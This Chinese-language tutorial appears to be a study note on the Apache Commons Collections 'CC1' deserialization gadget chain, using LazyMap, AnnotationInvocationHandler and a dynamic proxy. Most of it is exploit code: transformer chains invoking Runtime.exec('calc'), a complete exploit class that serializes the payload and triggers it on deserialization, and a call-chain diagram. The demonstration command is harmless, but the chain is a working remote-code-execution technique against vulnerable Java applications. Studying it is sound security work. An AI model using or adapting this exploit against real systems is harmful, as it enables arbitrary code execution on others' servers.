正版cc1链漏洞点还是InvokeTransformer
但是利用的transform
的是LazyMap
类


get是public方法,可以创建对象直接调用
找一下factory


发现是Transformer
而且decorate
方法能返回一个LazyMap
的实例对象
和TransformedMap
的很像
1
2
3
4
5
6
7
8
9
10
11
|
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashmap = new HashMap<>();
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
decoratemap.get(Runtime.class);
|
成功弹了
再找get
的链子
这里太多类调用get
了,直接看出在AnnotationInvocationHandler
的invoke
里

怎么触发呢?虽然说invoke是public方法,但是在反序列化的时候,是进入readObject
的,不能直接来个AnnotationInvocationHandler.invoke
来触发
需要触发 invoke
方法,马上想到动态代理


满足实现接口并且重写了invoke方法,是代理类
一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke()
方法。

先通过反射将memberValues
的值改为LazyMap
1
2
3
|
Constructor<?> constructor =clz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,decoratemap);
|
那我们应该选择哪个被代理类呢?
在get前的代码,如果调用的方法名为equals,toString,hashCode,annotaionType中的任意一个方法都会立刻return,且<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">assert paramTypes.length == 0;</font>
表示<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">paramType.length != 0</font>
则抛出AssertionError异常。即不能调用有参方法。只要不是调用以上名字方法,都能成功执行。
代理类只能代理构造函数传入的类,在这里就是继承了Annotation接口的类(即注解),和实现了Map接口的类。
所以哪个注解类或实现了Map接口的类在readObject调用了无参方法呢?就是他本身
AnnotationInvocationHandler本身的readObject里调用了map的一个无参方法

我们用AnnotationInvocationHandler代理lazyMap,调用这个代理实例的entrySet方法,就能跳转到invoke方法,进而调用get。
1
2
3
4
5
6
7
8
9
10
11
|
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
// decoratemap.get(Runtime.class);
Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor =clz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,decoratemap);
// System.out.println(o.getClass());
//AnnotationInvocationHandler作为代理类,需要将AnnotationInvocationHandler强转为InvocationHandler,才能调用AnnotationInvocationHandler的invoke方法
InvocationHandler invocationHandler = (InvocationHandler) o;
Map proxymap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
proxymap.entrySet();
|
动态代理详细
- 获取构造函数:
- 首先,通过反射获取
AnnotationInvocationHandler
类的构造函数,该构造函数接受两个参数:一个 Class
类型的对象(如 Override.class
)和一个 Map
类型的对象(如 decoratemap
)。
1
2
|
Constructor<?> constructor = clz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true); // 允许访问私有构造函数
|
- **实例化 **
**AnnotationInvocationHandler**
:
- 使用获取到的构造函数创建
AnnotationInvocationHandler
实例。这个实例负责处理代理对象的方法调用。
1
|
Object o = constructor.newInstance(Override.class, decoratemap);
|
- **强制转换为 **
**InvocationHandler**
:
- 将创建的实例强制转换为
InvocationHandler
类型,以便后续可以通过这个处理器处理代理对象的调用。
1
|
InvocationHandler invocationHandler = (InvocationHandler) o;
|
- 创建代理对象:
- 使用
Proxy.newProxyInstance()
方法创建一个动态代理对象,代理 Map
接口。此时,所有对 proxymap
的方法调用(如 entrySet()
、get()
等)都会转发给 invocationHandler
的 invoke()
方法。
1
2
3
4
5
|
Map proxymap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invocationHandler
);
|
- 调用代理方法:
- 通过代理对象(
proxymap
)调用 entrySet()
方法。这个调用实际上会被转发到 InvocationHandler
的 invoke()
方法,进行处理。
1
|
proxymap.entrySet(); // 代理方法调用
|
最后将代理类的实例化
1
|
Object ob = constructor.newInstance(Override.class,proxymap);
|
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
package c1;
import com.sun.corba.se.pept.protocol.ClientInvocationInfo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1true {
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashmap = new HashMap<>();
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
// decoratemap.get(Runtime.class);
Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor =clz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,decoratemap);
// System.out.println(o.getClass());
//AnnotationInvocationHandler作为代理类,需要将AnnotationInvocationHandler强转为InvocationHandler,才能调用AnnotationInvocationHandler的invoke方法
InvocationHandler invocationHandler = (InvocationHandler) o;
Map proxymap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
proxymap.entrySet();
Object ob = constructor.newInstance(Override.class,proxymap);
serialize(ob);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
|
流程图
1
2
3
4
5
6
7
8
|
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
ProxyMap.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
|